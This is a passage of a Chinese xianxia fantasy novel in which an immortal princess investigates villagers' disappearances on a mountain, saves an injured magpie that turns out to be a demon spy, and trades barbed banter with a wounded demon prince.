从那仅仅两指宽的缝隙间,叶星簌看见了一只恐惧颤抖的眼睛。
她连忙摘下帷帽,摊开双手示意,道:“主人家,我们是过路的中原修士,不小心在山里迷路了,想讨杯水喝,顺便歇歇脚。”
门后的眼睛打量她很久,叶星簌耐心等着。
终于,木门缓缓打开,阳光倾泻。
叶星簌这才看清,屋里原来不止一个人——挡在最前的是个身形魁梧的汉子,他的身后缩着一个浑身发颤的女人,女人怀里搂着一个四五岁的小姑娘。
中年男人紧紧握着一把耕种用的六齿耙,前后两只手都用力到发白,女人则颤巍巍地攥着一把剪刀,尖刃朝外。
唯独不谙世事的小姑娘被两个大人护得延时,只露出眨巴眨巴的大眼睛,好奇看着叶星簌。
一家三口的身上都贴着几张皱巴巴的符纸。叶星簌一眼就看出来了,符上朱笔走势生疏,应该出自修为平庸的人间修士之手。这种符纸只能挡一挡刚死的小鬼,真要是遇上魔修,起不了丁点作用。
这时,男人开口,十分犹豫道:“你……你们真是仙师?”
“不敢欺瞒。”叶星簌向他们行一揖礼。
夫妻二人已经信了大半,二人嘀嘀咕咕许久,终于——
“砰。”耙子掉在地上
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。
中年男人额头冒汗地安慰妻女:“不像是妖魔,要是妖魔,咱这破篱笆怎么防得住。”他忙疾步过来,搬走篱笆门后堆着的杂物,热忱地开门迎客:“仙师快请进,快请进!”
大黑狗第一时间汪汪叫着冲出来,围着叶星簌腿边嗅了一圈,然后哈赤哈赤地吐舌头摇尾巴。叶星簌温柔地揉揉狗头,手感温暖毛茸茸,她忍不住多摸了两把。
妇人也殷勤地搬来竹椅,后怕道:“瞧姑娘长得跟仙女似的,一点都不像什么妖魔!您是不是跟之前的仙师们一样,来山上找什么仙缘的?”
叶星簌笑着点点头。
男人终于如释重负,颇尴尬地搔搔头顶,笑道:“我一家没见过世面,最近村里又出了点怪事,大家都怕得很……还望仙师见谅。”
叶星簌顺着他的话,问道:“最近发生什么怪事了?”
男人忙不迭道:“村里丢了三口人,乡里乡亲都猜,他们是被魔族掳走的!”
叶星簌道:“魔族?可有人亲眼看到?”
男人摇头:“这谁能看到,要是看见估计也被掳走了。”男人话音一转,问道:“仙师,你们修仙的人是不是能看见点不一样的东西?”
叶星簌:“为何这样问?”
“小玄山离中原远得很,往常一年到头都见不到几个外乡人。可自打两年前,三天两头便有中原来的道士仙师往山顶上跑,说是能成仙啥的,但后来都灰溜溜回去了。俺们这些山民,往上数十代都是靠山吃山,祖上倒是有传言,说山那边住的是魔族。可这么多年,我们都没见过魔,村里汉子天天满山窜着打猎,山北也没少去,可那边明明啥也没啊。”
旁边,妇人忍不住插嘴道:“您瞧,我们身上的符纸都是以前过路歇脚的仙师们留下的,说是山那边魔气重,以防万一,多少能防个身。”
叶星簌安慰道:“天地生于混沌,仙气魔气向来同生共存,这世上的确有魔,但不必为此惶惶。而且凡人有九重天庇佑,镇守小玄山的仙君更是骁勇无常,不会有事。”
男人抓抓头:“可……可那三口人总不会莫名其妙失踪吧?”
叶星簌思量片刻,道:“这件事还不能妄下定论,二位可否带我去那三户山民的家里看看?”
夫妻二人立即道:“成,成。”
魔族忌惮九重天,绝不可能冒险犯境,更不可能以这种敲锣打鼓的架势掳走这么多人。再者,驻守此地的仙君到现在没发现异样,说明压根就不是魔族干的。否则以这阵仗,只怕早传到天君耳朵里了。
她们抵达第一户山民家里。
院子里干净整洁,晾晒的衣服在轻风中微晃,散养的鸡鸭在满院子找吃的……叶星簌推开房门,桌上还摆着吃了一半的饭菜,筷子或搭在碗上,或搁在盘边。的的确确是被瞬间掳走的模样。
她在屋中踱了一圈,很干净的手法。若非她没探到丁点魔气,只怕也会以为是魔族干的。
但——
她端起碗。
粗泥制成的碗边有一个米粒大小的缺口。
叶星簌俯身,视线在地面上扫视一圈,然后在桌腿边捏起一粒几乎看不见的碎陶片,重褐色,正好与碗上的缺口完美嵌合。
白霓道:“姑娘发现了什么?”
叶星簌道:“不是魔族。是普通凡人干的,而且有不少人,配合很熟练。”
“喀”地一声,她轻轻放下碗,淡声道:“可惜,毛手毛脚。”
12. 第 12 章
叶星簌又去了另外两户人家,角落里的蛛丝马迹印证了她的推断。
山民夫妇还为她指了去往官道附近村子的路,临走时,叶星簌向一直躲在娘亲身后探头探脑的小女孩招招手。
小女孩眨着大眼睛,紧紧拽住母亲的衣角。
妇人安慰道:“哎呀你这丫头躲着干什么!人家仙师姑娘长得跟仙女似的,怕啥?”
小女孩怯生生地上前几步,始终低着头,只敢偷偷抬眼看她。
叶星簌安抚地笑笑,从袖中掏出一捆红烛。
“小妹妹,这些蜡烛送给你。”
女孩不解地看着她。
旁边,白霓的嘴张了又张,皱眉盯着那捆红烛。
“王……姑娘……”她试图阻止。
叶星簌没理会,直接半蹲在女孩身前,牵过她的手,将红烛塞进她的怀里,道:“妹妹,告诉你一件很重要的事:这些蜡烛和家里燃的不一样,姐姐在上面施了仙法,能吓跑坏人。”
女孩不可思议地望望她,又望望手里的蜡烛,脆生生道:“真的吗?姐姐,那它们可以赶走妖魔鬼怪吗?”
叶星簌笑道:“当然啦,这种蜡烛可燃十年不熄,你和爹娘都会平安的。”
女孩双眼一亮,兴高采烈地问:“也能让稻子永远平安吗?”
叶星簌反应了一下才明白她在说那只大黑狗,“当然可以!”
两夫妇在侧,立时明白她赠的不是凡物,连忙千恩万谢,小女孩也学着父母的模样,大声道:“谢谢仙女姐姐!”
叶星簌揉了揉她的发顶,“姐姐有事要先行离开,所以想拜托你帮个忙。”
女孩瞪大双眼竖起耳朵。
叶星簌道:“此物稀罕,我也只有这么多,所以我想劳烦你给邻居们掰开分一分,放心,哪怕只有一小节,也是不会燃尽的。”
女孩点头如捣蒜。
叶星簌告辞时,一再嘱咐红烛的用法,让夫妻二人告知邻里。女孩一家淳朴,夫妇二人挑拣了一堆山货和野果,执意要她收下。
……
回去路上,叶星簌的思绪都在篮子里,女孩一家送给她许多在天上看不到的东西——各类野菌和野菜。一经烹调一定别有一番风味。
这些时日,他们在晏梦年的小院子里没出来过,而屋里原先剩下的吃食都快发霉了。她和白霓连菜刀都用不利索,卿岌又是个病号,叶星簌琢磨许久,把主意打到晏梦年身上,该怎么让药神徒弟给她做家常菜吃呢?
叶星簌还在篮子里翻到一些草药,正好拿回去让晏梦年看看,说不定还有卿岌能用上的。
“小王女……”
叶星簌脚步不停,脚下踩着沙沙作响的树叶,一时没听到身后犹疑的声音。
“王女。”白霓又唤了一声。
叶星簌这才回神,随口应道:“怎么了?”
白霓严肃道:“王女,您就这么轻易地把神烛送给凡人?此举不妥。”
叶星簌浑不在意:“就送了那么几根,有什么不妥。”
白霓急声道:“王女,王上不会高兴的!”
她送出去的红烛当然不是凡物,那是四海八荒唯独聂阳才有的驱魔圣物,出自刑堂掌事金峻涛之手,每年只能炼出两根,至今总共才炼了三十多根。
可叶星簌方才一出手,就送出去八根。
燃起此烛,虽然没什么攻击性,但挡挡一般的妖魔鬼怪完全不在话下。
叶星簌脚步一滞,回头,目光静静地看向她:“是吗,他会不高兴啊。”她的语气毫无起伏,“不过,那又怎样?”
白霓立即单膝跪下,沉声道:“王女,现在收回神烛还来得及。如果您不愿出面,属下一人去便是。”
叶星簌淡声道:“我送出去的东西,没有收回来的道理。”
白霓:“可……王女,此事必须得知会王上!”
叶星簌轻呵:“随便啊,你现在就可以回去告诉他。”
主仆二人波澜不惊地对视着,白霓沉默几息,再开口时声音低了三分:“……小王女恕罪。”
一时,叶星簌的神色变得漠然,她没再说话,山路上静得只能听到鸟雀扑棱翅膀的声响,似乎是在枝桠间跳跃。
她静静地看着,白霓以二指并拢,抵住额角向九重天传讯,指尖跳跃着碎金般的光芒,须臾过后,那些光便消失了。
山风中,叶星簌提着小篮子站着一动不动,她的眸底空洞无光,视线落在白霓身上,却仿佛视若无物。
这就是白霓与那么多死掉的侍女的不同之处,只有她,知道自己真正的主
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人是谁,只有她,才能一直活下去。
银制面具在阳光下闪光,叶星簌开始胡思乱想:
白霓到底长什么样子啊?从她成为王女随侍的第一天起,就用面具遮了下半张脸。
王城中的仙侍们私下嚼舌根,有人猜她容貌尽毁,见不得人;也有人猜她倾国倾城,奈何主子聂阳王女善妒,这才时刻遮着脸。
白霓传过讯,低声道:“王女……”
叶星簌回神,轻轻“哦”了一声,“聂阳王君怎么说?”
白霓如实道:“回王女,王上不在。”
叶星簌摊摊手,道:“那么现在,我说话还能不能算点数?”
白霓:“属下不敢。”
叶星簌轻哼一声,懒得再计较。草叶在裙角上摩挲轻曳,她一脚深一脚浅地蹚过乱草丛,随口问道:“白霓,你要一直戴着这副面具吗?”
“是,王女。”
叶星簌转身,两臂负于身后,反手提着篮子,一边倒着走,一边笑盈盈地看向她,“如果我邀请你参加一个很重要的仪式,你还要戴着面具吗?”
白霓毫不犹豫地点头。
叶星簌眼底那抹本就不明显的期待瞬间消失得无影无踪,但她还是笑着,语气也不变:“这样啊,那就太可惜了,看来我永远也没法知道你长什么样子。”
设想一下不久之后的葬礼上,白霓仍旧戴着面具前来缅怀小主人,一贯没有表情的脸上应该也不会有悲伤和思念,别人肯定会觉得她们不是主仆,而是一对仇人。
叶星簌不由被想象中的场景逗笑了。
想着想着,她的脚下突然一空。叶星簌的思绪尚在空中乱飞,冷不丁就因倒着走不看路吃亏,她不小心踩到一块松晃的岩石上,然后整个人向后跌去。
叶星簌双眼猛地睁大。
下意识的惊呼将将卡在喉口,这时,一道沉稳的力度突然牢牢托起她的后腰。
男人的长发随意地用丝带一系,半绾垂下,骤风带起的力度使得青丝纷扬,扑飞在叶星簌的脸上。
有点痒,叶星簌眨眨眼睛。
她还没反应过来,仰头傻愣愣地看着对方。
逆着光,他的容貌有些看不清,唯独一双黑眸深沉如墨。
叶星簌脱口而出:“卿岌?”
13. 第 13 章
回应她的是一道短促的冷哼。
卿岌面无表情地垂下眼,与她的视线短暂交汇一刹。叶星簌不知道他在看什么,但肯定不是看她。
叶星簌瞬间回神,连忙离开他的臂弯,站定:“谢谢你。”
卿岌扫她一眼,勾起唇角,温声道:“叶姑娘,少自作多情。”
叶星簌好脾气地弯眼一笑:“原来你没打算救我啊,但于情于理我都该说声谢谢。”
卿岌一撩衣袍,半蹲在地,毫不客气道:“让让,挡着光了。”
他终于换掉了之前破烂抹布似的行头,穿着一身粗布褐衣,肩颈处松松垮垮,有些偏大了。之前在屋子里不见日光,如今阳光大好,金辉将他刀凿斧刻的五官细细勾勒描绘,叶星簌忍不住多看了他两眼。
她默默地想,明明都是魔尊的儿子,怎么一个胖得走起路都晃肚子,一个比九重天的仙君还俊……合理怀疑,魔族少尊这么下狠手虐待卿岌,应该也有嫉妒的成分在。
卿岌蹲在大石块边,丝毫没察觉到她的打量。
叶星簌挪了个位置,站在卿岌身侧,循着他的视线问道:“你在找什么?”
话音刚落,她就知道了答案。
岩石上的一只鸟正扑棱着翅膀滋哇乱叫,几根羽毛在空中打旋。
但它没能成功地飞起来。双翅极快地鼓振,跌跌撞撞地从岩石上掉进草丛里。
它似乎受伤了。
几声狼狈的鸣啾传来,叫声并不好听,哑得仿佛长了一副破锣嗓子。
卿岌伸手将它捞了出来,小鸟在他手心中叫得更厉害,又扑腾翅膀又胡乱蹬腿。这只鸟通体灰羽,脑袋乌黑,双翅是天蓝色——
是一只灰喜鹊。
叶星簌后知后觉,刚刚她差点踩到这只受伤的鸟。
她意外地看了卿岌一眼。
难怪说她自作多情。
卿岌将灰喜鹊拢在手心里,鸟叫声愈发急促。
“好吵。”他微微拧眉。
叶星簌好奇地踮起脚尖,“它受伤了吗?”
卿岌凉凉道:“叶姑娘,你很爱说废话。”
叶星簌只当没听见他呛人的话,兀自道:“它浑身都在发抖,翅膀这里好像不太对劲,估计是断了,小可怜哎……卿岌,你在哪里发现它的?”
卿岌没回答,漫不经心地伸出两根手指,在灰喜鹊的翅膀上拽了一下,扯下几根羽毛。
灰喜鹊的眼睛瞪得浑圆,翅膀扑棱得更厉害,百般挣扎也没能从男人的手心中逃离,一歪头,尖喙狠狠啄在卿岌的指尖。
这点力道对卿岌而言渺如蚍蜉,但此般不识抬举的行为无疑是冒犯,卿岌的手指滞在空中。
一丝危险在空气中酝酿,灰喜鹊偏偏毫无察觉,依旧扯着破锣嗓子嘎嘎乱叫,叫声在这静谧的林间格外突兀。
叶星簌突然伸出双手,很轻柔地从他手中捧过小鸟,道:“哎呀,你不要板着脸吓它。”
说着,她还把菜篮子塞给了白霓。
卿岌看了看空空如也的手心,眉眼微沉,他收回手臂,张嘴就没一句中听的话:“没人会像姑娘你一样,对着一只蠢鸟傻笑。”
叶星簌抬起头,眼睛很亮地看着他,意有所指道:“傻笑也比冷笑好看,你说呢?”
卿岌:“……”
他没再说什么,干脆迈步离开。
卿岌个子高腿长,走起来健步如飞,很容易让人忽略他三个月后就会没命的事实。这人完全没有等她的意思,叶星簌捧着灰喜鹊小跑着追了几步,但没追上,只好无奈喊道:“卿岌,你能不能慢点?”
颀长的身形终于顿住,男人用一副不耐烦的表情浪费着自己的脸。
不过好歹是停下了。叶星簌追上他,道:“一起回去嘛,慢一点,你身上还有伤,小心摔着。”
卿岌轻呵一声:“我又不会倒着走路。”
是在嘲讽她刚刚差点摔倒。
二人并肩走在一起,叶星簌忍不住抱怨道:“你对救命恩人的态度很不好。”
“说过了,我不报恩。”卿岌压根没有丁点怜香惜玉的意识,迈着一双大长腿三两步就又把她甩下了,他在林子间绕了个弯,很快便消失不见。
叶星簌又气又好笑地站在原地,嘟囔道:“不愧是魔,脾气好烂。”
手心里的灰喜鹊老实许多,除了断断续续发出很难听的叫声,好在是不挣扎了,也不再试图飞离。
叶星簌在指尖注入神力,然后轻轻地抚向它的羽毛。
喜鹊浑身轻颤,但比之方才已经好转很多。
叶星簌轻声安抚道:“我先帮你缓解疼痛,一会儿就去找大夫接骨,坚持一下。”
片刻后,指尖的荧荧金辉消散了。
灰喜鹊歪着脑袋蹭了蹭少女的掌心。
主仆二人和一只鸟慢悠悠地朝山间小院走去,路上,叶星簌对灰喜鹊谆谆叮嘱:“卿岌是你的救命恩人呀,你啄他是不对的。”
灰喜鹊扯着嗓子叫了两声。不好听,似乎极不待见他。
叶星簌嘀咕道:“万物有灵,你又受到山间的灵气滋养,是不是感觉到他是魔了?”
灰喜鹊又附和似地叫两声。
叶星簌完全听不懂,只好自说自话道:“虽然他是魔,但他救了你呀,一码归一码。你可不能像某个人一样,对救命恩人那么凶,他是走运遇上了一个好脾气的救命恩人,但你就没那么走运了。”
一人一鸟言语不通地说了一路。
到门口时,叶星簌在问它喜不喜欢吃浆果,回应她的当然是嘎嘎两声。
卿岌正躺在门口的一棵粗壮老树的枝干上晒太阳。
阳光透过叶缝,斑驳地洒在他的脸上,听见她们的脚步声,眼都不睁,悠悠道:“叶姑娘跟一只快断气的鸟都能聊得开。”
叶星簌仰头,笑道:“欸,你不要吃醋,我已经跟它讲好了,它已经认识到自己对救命恩人态度恶劣,不会再啄你了。”
卿岌缓缓睁开眼,阳光有些刺目。
“吃醋?”他的唇间碾磨着这个词眼,道:“叶姑娘不如去找晏梦年看看眼疾。”
卿岌笑了笑,又道:“还有,救命恩人也许并不是救命恩人。”
叶星簌随口道:“什么意思?”
卿岌盯着灰喜鹊,目光泛冷,话却是对她说的:“比如,叶姑娘身份尊贵,却还要来这荒郊野岭找什么虚无缥缈的有缘人……姑娘说话,一贯喜欢藏着掖着。”
叶星簌望着他的侧脸,笑盈盈问:“卿岌,原来你不相信我吗?”
卿岌又阖上眼,枕着双臂躺回树干,道:“小骗子,别杵在这儿扰人清静了,带着那只鸟离我远点,真是吵死了。”
……
叶星簌把灰喜鹊小心地递给晏梦年,晏大夫就差跳起来了,满头怒火地大吼大叫:“老子不是兽医!老子不是野鸟大夫!”
叶星簌劝道:“六道都归地府管,你都为了凡人把那群阴差得罪个遍了,不差一只鸟。”
晏梦年怒目圆睁,强调道:“老子不是野鸟大夫!!!”
叶星簌充耳不闻,直接把小家伙塞给他,轻飘飘如同一片羽毛般的重量让晏梦年无所适从,他顿时手不是手脚不是脚地惊恐大叫:“拿开拿开!快拿开!”
好在灰喜鹊有灵性,似乎知道这人能救他,哪怕这个粗鲁男人的手心很颠簸,但它始终小心地蜷着身体。
终于,救人无数的晏大夫好不容易镇定下来,抹了一把脑门虚汗,骂骂咧咧道:“老子就不该多管闲事去客栈救人,怎么就遇见姑娘你了!一会儿捡个人,一会儿捡个鸟,老子可不是什么冤大头仁医,知不知道去年那个江南首富给了多少钱求我出诊!叶姑娘,咱们先说好,救了这鸟也得有报酬!”
叶星簌实在受不了他的罗里吧嗦,直接把人推进内室,“咣”地关上门。
“有报酬有报酬,等会儿把它的浆果分你一半。”
院子里终于安静下来,晏大夫给鸟治伤,卿某人在树上睡觉。
叶星簌无事可做,视线飘到院门口的小篮子上,连忙兴致勃勃地吩咐白霓烧火。她从山民夫妇那里打听了处理野菌的方法,虽然听得一知半解,但却不妨碍她做饭的兴致高涨。
她太想念充满烟火味的饭菜了,仙域的琼浆玉露完全没有味道,聂阳王城和九重天更是连个会做人间菜肴的厨子都没有,何况聂阳王君全方位插手她的衣食住行,更是不准她吃丁点乱七八糟的东西,在聂阳王君眼里,人间吃食都是不堪入口的糟糠。
烟囱里冒出白烟。
一种难以言喻的味道从院子里飘了出来。
卿岌微微拧眉,掀开一只眼,偏头看过去。破败小院突然多了些人气,庖屋那边时不时传来刀具与菜板相撞的声响,他竟神奇地想象到叶星簌忙前忙后的模样……
一种从来没有过的疑惑情绪缓缓攀上心头,这样的情景于他而言很遥远。
魔修也早就辟了谷,因此,卿岌也闻不出空气里飘的是什么味。
直到晏梦年“砰”地推开窗户,忍无可忍地嚷嚷道:“叶姑娘!你在炒毒药吗?!”
卿岌翻身跳下树,稳稳落
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地,踩着出自叶星簌之手的古怪气味进入院子里。路过庖屋时,随意瞟了一眼,她在影影绰绰的烟雾之中有些手忙脚乱,脸上却带着明媚和跃跃欲试的笑。
显然,她完全没有听到晏梦年的怒吼。
卿岌的突然出现让晏梦年表情一顿,后者连忙鬼鬼祟祟地招招手。
卿岌微一挑眉,慢悠悠地踱到窗边,侧身而立,视线依旧落在厨房那边。
晏梦年面露不忍道:“我瞧她也是个好心人,救了你不说,又救回来一只鸟。杀人这种疯话以后别说了,万一被听到多不好。人好好一姑娘又没招你。”
安静祥和的院子,偶尔传来叶星簌惊喜的声音,不知道的怕是会以为她做出什么珍馐美馔。
许久,卿岌温声开口:“她很像一朵花。”
“啊?”莫名其妙的话让晏梦年摸不着头脑。
卿岌道:“那老不死的在万魔狱中养了一朵稀世之花,据说天上地下唯此一株,不过那花什么用都没有,也就看着还行。”
他的话题太过跳跃,晏梦年一愣:“你在说什么玩意儿?”
卿岌没理会他,继续道:“老不死有个怪癖,喜欢一边赏花一边用刑,他要看到每一股喷涌的血溅在花瓣上。那花是纯白的,老不死用了几百年时间都没能把它染红。我的那些哥哥们啊,为了讨他欢心,都想成为第一个把花染红的人,所以万魔狱中日夜惨叫不息,血也在不断地溅在花瓣之上。”
这是卿岌第一次说起魔域的事,晏梦年目瞪口呆。
卿岌道:“但有件很奇怪的事——所有人都说那朵花没有气味,偏偏我能闻到。小时候,老不死的每次都会带着一身花香来我阿娘的住处,然后把她折磨到只剩一口气才大笑着离开。
“后来那个女人死了,我被他领回王城。那种花香又开始频繁出现在我的几个哥哥们身上,他们来找我打赌,输的砍断骨头、撕开血肉。我经常输。那朵花的气味太浓郁了,所以我总是提前感知他们的到来。”
“不久之后,我在万魔狱最深最黑的地方,第一眼就看到了那株白到极致的花。我在那时候才知道,父兄身上的气味原来都是自它而来。”
这个故事听得晏梦年提心吊胆,魔族的残忍从魔自己嘴里说出来更可怖。
晏梦年不由感慨道:“你小时候也太惨了,那朵花对你而言一定像梦魇。”
“惨?算不上。”卿岌终于舍得把目光从庖厨那边收了回来,满脸意外并像看傻子一样睨着他:“一朵花而已,你怎么会想到梦魇?但我确实不喜欢那朵花,他们都想把它染红,我只想把它的根茎掐断。”
卿岌弯唇笑了笑:“叶姑娘就很像那朵花。”
晏梦年突然瞳孔一缩,在这之前,他还只当卿岌要杀人的话是在开玩笑。但这番话之后,他竟在朗日和风下感觉到了森森寒意。
他起初还以为,花是卿岌对一个少女的称赞,但此时此刻,将她以那朵花作喻,更像一句恶魔低喃。
晏梦年艰难地张了张嘴:“你怎么会把叶姑娘和那朵花想到一起了?”
卿岌淡声道:“你很快就会知道。她的身份不简单,不止是什么聂阳王女。”
这时,那抹明亮的黄衣突然从庖屋探头,直接对上他们古怪的视线。叶星簌一愣,随即想起正事,扬声问道:“晏大夫,灰喜鹊的伤怎么样了?”
这道清婉的嗓音如同来自天外,惊雷般把晏梦年的魂震了回来。他浑身一凛,下意识地瞥了卿岌一眼,反应过来后连忙道:“你放心,没事儿了!这两天就能活蹦乱跳!”
叶星簌面露喜色,笑盈盈道:“辛苦啦!那我跟它商量商量,把浆果全都分给你。”
说完,叶星簌又缩回屋里。
晏梦年的心在嗓子眼狂跳,卿岌却像个没事人。
晏梦年平复心跳,然后立即万分嫌弃地赶他走:“你该干什么干什么去,你们魔族说个话都瘆死个人!滚滚滚,老子还得给那只鸟缠纱布。”
卿岌没动,晏梦年刚准备关上窗。
卿岌望着烟囱上的袅袅炊烟,悠悠道:“我的大哥连半拉脑子都没有,可那位钦原族魔后不是省油的灯,她知道我没那么容易死。”
“那只灰喜鹊是魔后派来的探子。要不是小神仙打岔,刚刚就能捏死它了,可惜,命还挺大。”
晏梦年心中一跳,倏地回头,只见身后奄奄一息的灰喜鹊周身弥漫魔气,身体正在渐渐变大,逐渐化成庞然异兽模样,身形似蜂……
“既然想当鸟就成全他,封了他的记忆,命门在喙骨。”卿岌淡声道。
14. 第 14 章
叶星簌摆出三盘黑糊糊似的菜,全都长一个样。
她尴尬地介绍道:“这是煸山菌,这是清炒野菜,这是炒腊肉。”
卿岌不辨情绪的视线落在这三盘炒煤炭一般的菜式上,捏着筷子没动。
晏梦年倒颇给面子地拿筷子夹了一大口,然后憋着一张铁青的脸艰难下咽,咽完就哆嗦着手扔了筷子,骂道:“难吃至极!暴殄天物!”
晏梦年逃命一般离开了,嚷嚷着说卿某人头疼的后遗症颇严重,要忙着给他配药。
但叶星簌觉得这是借口。
第一次下厨就大失败,她多少有些挫败。
叶星簌尝试地夹了一片野菌。晏梦年一副忍不住反胃的模样让她很疑惑,虽说肯定不会很好吃,但也不至于想吐吧?她明明是严格按照那对夫妇说的步骤来做的。
天不遂她愿,野菌入口,一股诡异的味道就横冲直撞地刺激味蕾。
叶星簌眉毛一抖,坏了,她不会真的把晏大夫的毒药当调料炒了吧?
她默默地放下筷子,卿岌冷眼旁观,然后慢条斯理地夹了一根野菜,张嘴,嚼了几下,若无其事地下咽,接着又夹了一筷子。
整个过程淡然自若,叶星簌看得目瞪口呆。
反应过来时,她如同受到莫大的鼓舞,眼睛一亮:“好吃吗?”
卿岌自然吃不出好赖,随口道:“反正能吃。”
这个评价足够让叶星簌心花怒放了,她托着脸眉眼弯弯地看他吃了一口又一口,看得卿岌都不自在了。
他皱眉撂下筷子,叶星簌如梦初醒,开口甚至有些小失落:“怎么不吃了?”
卿岌起身,“突然觉得很难吃。”
叶星簌的表情一下子变得很失落。
卿岌不屑地轻嗤一声,铁石心肠地掠过愁眉苦脸的少女,径直回屋。虽然不理解,但他没兴趣去思考一个小丫头的多愁善感,还是关于“炒煤炭”的多愁善感。
……
晏梦年的医术精妙绝伦,灰喜鹊第二天就恢复如初,它在叶星簌的肩膀上蹦来蹦去,扯着破锣嗓子欢快地鸣叫。
叶星簌伸出一根手指,灰喜鹊亲昵地用喙蹭蹭挨挨。
但它依旧讨厌卿岌。
当男人懒散地踩着熹微的黯光走下台阶时,原本雀跃的鸟儿突然如同一只炸毛的猫,扑棱着翅膀躲在叶星簌的耳后,叫声也变得凌乱且毫无章法。
卿岌的脸上仍带有一丝倦意,见此,唇角沉了沉,眸子里缓缓染上一抹笑。
叶星簌只顾着安抚灰喜鹊,压根没看到这抹细微的变化。
“哎,你怎么了?我们不是说好了吗,是这个哥哥救了你,不能对他甩脸子。”叶星簌道。
陌生的称呼让卿岌顿住,古怪地看了她一眼。
灰喜鹊好不容易才平静下来,站在叶星簌的肩上,歪头梳理自己的羽毛。
叶星簌看向卿岌,无奈道:“它胆子小,你别介意。”
卿岌充耳不闻,甚至连半个眼神都不分给她,径直出了院子,朝下山的方向走去。
看出他的意图,叶星簌连忙出声:“卿岌!”
前面的男人走得不疾不徐。因为深知他的烂脾气德性,叶星簌只好三步并作两步地追过去,脚步一错,挡在他面前。
卿岌被迫止住步子,脸色很不好,冷睨着她。
叶星簌直接忽略他的臭脸,问:“你要去哪儿?下山吗?”
他的眼中流露几分不耐,叶星簌明白自己又问了一句废话。
她道:“可你身上的伤还没彻底恢复。”
卿岌凉薄的目光扫过她的肩膀,那只灰喜鹊藏在她的颈后探头探脑,触及他的视线,瞬间如同见鬼一般缩了回去。卿岌扯唇一笑,真无趣。
他好整以暇道:“叶姑娘,多管闲事的人一般都没什么好下场。”
叶星簌和善地笑了笑:“这是衷告吗?”
卿岌温和道:“不,是谶语。”
叶星簌打量他片刻,眼中的笑意更深了,话音一转,提议道:“要不要再考虑一下我之前说的话?”
“不。”卿岌回答得很果断。
叶星簌好笑道:“回答这么快,不算数哦,你肯定都忘了我之前说了什么。没关系,我再说一遍,卿公子是我的有缘人,要不要把酒言欢,交个朋友?”
卿岌轻呵一声,故意等了几息,才慢吞吞道:“不。”
他的回答在意料之中,叶星簌毫不气馁,“好吧,你今天依旧对救命恩人态度恶劣。”
叶星簌问:“你刚刚是打算不告而别吗?”
没有回答。
她又道:“这样是不对的,如果你就这么离开,我和晏大夫都会很担心。”
依旧没人理会她。
跟一个不知天高地厚,且脑子看起来不太清醒的烦人丫头僵持这么久,卿岌的耐心早已告罄,他直接抬步越过她,胸腹之中尽是将要无法按捺的嗜血与烦躁。
叶星簌这次没再追上来,望着他的背影,道:“卿岌,在你离开之前,能不能先陪我几天?”
山风将少女落寞的声音吹散在他的耳侧。
卿岌也不明白为什么,在他反应过来时,脚步已经停了下来。但他做事向来不问前因,不管后果,大多数时候就像现在一样,停下便停下了,不去思考理由。
他闭了闭眼,冷声问:“你想干什么?”
叶星簌压根没想到他会驻足回头,一时有些不可置信。
卿岌凝着她,吐出几个字:“你会后悔。”
叶星簌眼睛很亮,“你为什么会这么肯定?后不后悔我自己说了算。”
卿岌果然不走了,他抱臂倚着山径旁的树干,浓密的树冠挡住太阳,阳光在他的身上影影绰绰,“你想去哪儿?我说过了,登仙梯没了,别做白日梦。”
叶星簌道:“我不找登仙梯。”她抬手摸了摸灰喜鹊毛茸茸的脑袋,“和我一起送它回家好吗?”
卿岌沉息看着她,没有立即回答。
叶星簌也不着急,依然眼含笑意地等着。
终于,卿岌迈开他金贵的一双长腿,语气不善:“走吧。”
卿某人依然走得很快,叶星簌又被落在后面。卿岌问也不问,直接把她领到前日捡鸟的那片林子。
他曲起一条腿踩在石块上,随手指了个方向,“那边。”
灰喜鹊在叶星簌的手心蹦跶两下。
叶星簌朝卿岌指向的地方抬起手臂,灰喜鹊亲昵不舍地蹭了她两下,随即展翅高飞。鸟儿啁鸣着在上空盘旋几圈,随即飞向林子深处,很快便不见踪影。
叶星簌朝天空挥手:“以后别再受伤了,小家伙。”
卿岌看着灰喜鹊跌跌撞撞飞远的方向,等他恢复记忆再赶回魔域报信,起码要十天半个月。男人唇角一弯,凉飕飕道:“遇见你,算他命大。”
把鸟放飞后,叶星簌
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收回视线,“好了,现在还有其他重要的事情要做。”
至于是什么事情,卿岌难得生出一点的好奇,对于一个生在仙家重重庇护之下的不谙世事的小神仙来说,能有什么正儿八经重要的事?
叶星簌在前领路,卿岌便悠哉悠哉地跟着。
自那日大雨之后,小玄山每日放晴,山径之上暖风和煦,叶星簌走着走着,心情大好。
两个人一前一后,她有一搭没一搭地和卿岌聊天,当然,话题都是她找的,卿岌要么不理她,要么阴阳怪气地呛她一句。
可尽管这样,叶星簌依然很开心,相比满脑子只有聂阳王君命令的白霓,和明显在装模作样演戏的晏大夫,起码卿岌的不耐烦和嫌弃都是真实的,当然也有可能是她在潜意识里觉得他们同病相怜。
没多久,叶星簌便不满足于前后喊话似的聊天,又转个身倒着走路,好真切地看着他。
问他喜欢的花花草草、鸟兽虫鱼,讲一讲她曾听过的六界传闻,聊一聊那些千奇百怪的神魔轶事。
全都是她自己动嘴皮子,卿岌连“嗯”一声的回应都少之又少,等她终于说得有点累了,他才点评似地来一句:“真聒噪。”
叶星簌也没把他扫兴的话听入心。从某种程度上来说,他们两人还是很合拍的——互相不理会对方说的话。
想想他对交朋友这件事的抵触,叶星簌不由觉得可惜。
没多久,卿岌突然停下步子,叶星簌也站住脚,“怎么了?”
卿岌饶有兴趣看着她,道:“你继续走。”
叶星簌:“嗯?”
卿岌抱臂悠悠道:“这世上真正蠢死的人不多见,我要好好欣赏一下。”
叶星簌意识到了什么,回头。
距离脚后跟不足三寸的地方,竟是万丈深渊。
她踩在一块凸起的岩石上,再往后两步就是深不见底的峰谷。一粒小石子扑簌簌地掉了下去,俯望间,竟觉脚下如万仞之高,除却山腰萦着的厚重云雾,什么都看不见。
叶星簌没好气地回过头,道:“卿岌,这就是你的不对了。”
男人当然没有丁点愧疚或者后怕的表情,面露遗憾,“发现了啊,真可惜。”
哪怕已经发现了自己的处境,叶星簌也没有一丝惧意,她站在原地,没头没尾地问:“喂,没良心的,如果我刚刚没有停下来,你会及时拉住我吗?”
卿岌扬唇淡笑,一字一句道:“你说呢。”
叶星簌突然眉眼一弯,狡黠道:“卿岌,如果你真的想看我掉下去,就不该停下脚步。”
“啧。”卿岌不甚在意,负手转身,“扫兴。”
一阵风吹过,叶星簌侧首看了一眼深谷。
